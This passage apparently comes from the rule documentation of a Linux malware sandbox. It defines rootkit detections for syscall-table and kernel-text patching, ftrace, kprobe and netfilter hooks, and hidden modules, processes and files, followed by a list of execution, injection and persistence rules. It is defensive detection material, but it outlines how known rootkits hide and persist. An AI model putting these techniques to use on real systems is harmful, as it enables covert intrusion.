Trigger: an open of /dev/mem, /dev/kmem, /dev/port (any access) or /proc/kcore.
Data: syscall trace.
Why this tier: only firmware and forensic tools touch these.
References: mem(4), proc_kcore(5), Phrack 58 #7, Linux on-the-fly kernel patching without LKM (2001).

`rootkit.module_capture` — loaded module image kept

INFO · Rootkit · 🔷 · Planned 0.8.0
ATT&CK: T1547.006 Kernel Modules and Extensions
Trigger: every module the run loads (persistence.module); the image is saved for Static analysis and YARA.
Data: new kernel data (the image as loaded).
Why this tier: it is evidence, not a behaviour.
References: init_module(2).

`rootkit.module_hidden` — module removed from the module list

HIGH · Rootkit · 🔷 · Planned 0.8.0
ATT&CK: T1014 Rootkit, T1564 Hide Artifacts (DET0502)
Trigger: a module the run loaded is missing from /proc/modules and /sys/module while its code is still in the module address range.
Data: new kernel data.
Why this tier: only rootkits unlink themselves.
References: Diamorphine (list_del(&THIS_MODULE->list)), Reptile, KoviD.

`rootkit.syscall_table` — system call table changed

HIGH · Rootkit · 🔷 · Planned 0.8.0
ATT&CK: T1014 Rootkit
Trigger: an entry of sys_call_table differs from the boot value.
Data: new kernel data.
Why this tier: only rootkits patch the table.
Note: since Linux 6.9, and in the 6.12.94 guest, x86-64 dispatches system calls through a switch in x64_sys_call(), so a changed table entry shows an attempt but no longer redirects calls. Modern rootkits patch x64_sys_call itself; that is rootkit.text_patch.
References: Linux commit 1e3ad78334a6 (“x86/syscall: Don’t force use of indirect calls for system calls”), Elastic Security Labs, FlipSwitch: a Novel Syscall Hooking Technique (2025), Diamorphine.

`rootkit.text_patch` — kernel code modified

HIGH · Rootkit · 🔷 · Planned 0.8.0
ATT&CK: T1014 Rootkit
Trigger: the kernel text, including x64_sys_call, differs from its boot hash outside the kernel’s own patching (alternatives, static keys, ftrace and kprobe sites accounted for).
Data: new kernel data; the host can also hash guest kernel text from QEMU memory.
Why this tier: benign modules do not patch kernel code.
References: Elastic FlipSwitch article (above).

`rootkit.ftrace_hook` — ftrace hook that rewrites calls

HIGH · Rootkit · 🔷 · Planned 0.8.0
ATT&CK: T1014 Rootkit
Trigger: an ftrace_ops with FTRACE_OPS_FL_IPMODIFY registered by a module the run loaded, on syscall, VFS or network functions.
Data: new kernel data.
Why this tier: live-patching is the only benign user, and it is not loaded by samples.
References: Using ftrace to hook to functions, ftrace-hook, KoviD.

`rootkit.kprobe_hook` — kprobe registered by a module

HIGH · Rootkit · 🔷 · Planned 0.8.0
ATT&CK: T1014 Rootkit
Trigger: register_kprobe/register_kretprobe from a module the run loaded (Diamorphine uses one to find kallsyms_lookup_name).
Data: new kernel data.
Why this tier: tracing tools use kprobes through perf or BPF, not from new modules.
References: Kernel Probes (Kprobes), Diamorphine.

`rootkit.netfilter_hook` — netfilter hook registered by a module

HIGH · Rootkit · 🔷 · Planned 0.8.0
ATT&CK: T1014 Rootkit, T1205 Traffic Signaling
Trigger: nf_register_net_hook from a module the run loaded.
Data: new kernel data.
Why this tier: magic-packet rootkits listen this way.
References: Reptile (port knocking backdoor).

`rootkit.hidden_process`, `rootkit.hidden_file`, `rootkit.hidden_port` — objects hidden from userland

HIGH · Rootkit · 🔶 (cross-view on recorded data) and 🔷 (active check) · Planned 0.8.0
ATT&CK: T1014 Rootkit, T1564 Hide Artifacts (DET0502)
Trigger: a process the guest kernel traces, a file whose inode still has names, or a socket that is listening, is missing from what a program in the run was shown: a getdents64 of /proc or of the file’s directory, or a read of /proc/net/tcp*. The 🔷 form asks the guest kernel to compare its own view with what /proc returns, without waiting for a program to look.
Data: syscall trace (directory listings and file bytes are captured); new kernel data for the active form.
Why this tier: nothing benign hides objects from /proc.
References: Diamorphine, Reptile, KoviD.

Suspicious activity rules

How to read an entry

In 0.7.0 today

Context rules

All rules

Execution

process.exec — program execution

process.interpreter — shell or script interpreter started

execution.download_cradle — download piped into an interpreter

execution.dropped_exec — a file written during the run is executed

execution.chmod_exec_temp — made executable in a staging directory

execution.temp_exec — program run from a staging or hidden directory

execution.compile_then_run — code compiled in the guest and run

process.memfd_exec — execution of a memory-only file

execution.fileless_exec — execution of a deleted or unnamed file

process.memfd — memory-only file created

execution.memfd_elf — an ELF image written into a memfd

execution.dropped_library — a library written during the run is loaded

Injection

process.ptrace — other ptrace requests

injection.ptrace_attach — attach to another process

injection.ptrace_poke — writing another process’s memory or registers

injection.vm_write — process_vm_writev into another process

injection.proc_mem_write — writing /proc/PID/mem

injection.ld_preload_env — program started with a preload variable

injection.ld_so_preload — /etc/ld.so.preload written

injection.ld_so_conf — linker search path changed

Persistence

persistence.cron — cron job written

persistence.at_job — at job queued

persistence.systemd — systemd unit or timer written

persistence.rc_init — init script or rc.local written

persistence.event_script — login or network event script written

persistence.shell_profile — shell start-up file changed

persistence.ssh_authorized_keys — SSH key or SSH daemon configuration planted

persistence.xdg_autostart — desktop autostart entry

persistence.udev — udev rule written

persistence.pam — PAM module or configuration changed

persistence.module — kernel module loaded

persistence.module_autoload — module set to load at boot

persistence.apt_hook — package manager hook

persistence.web_shell — script dropped into a web root

persistence.binary_replace — system program or library replaced

persistence.account — local account created or changed

persistence.config_write — other configuration change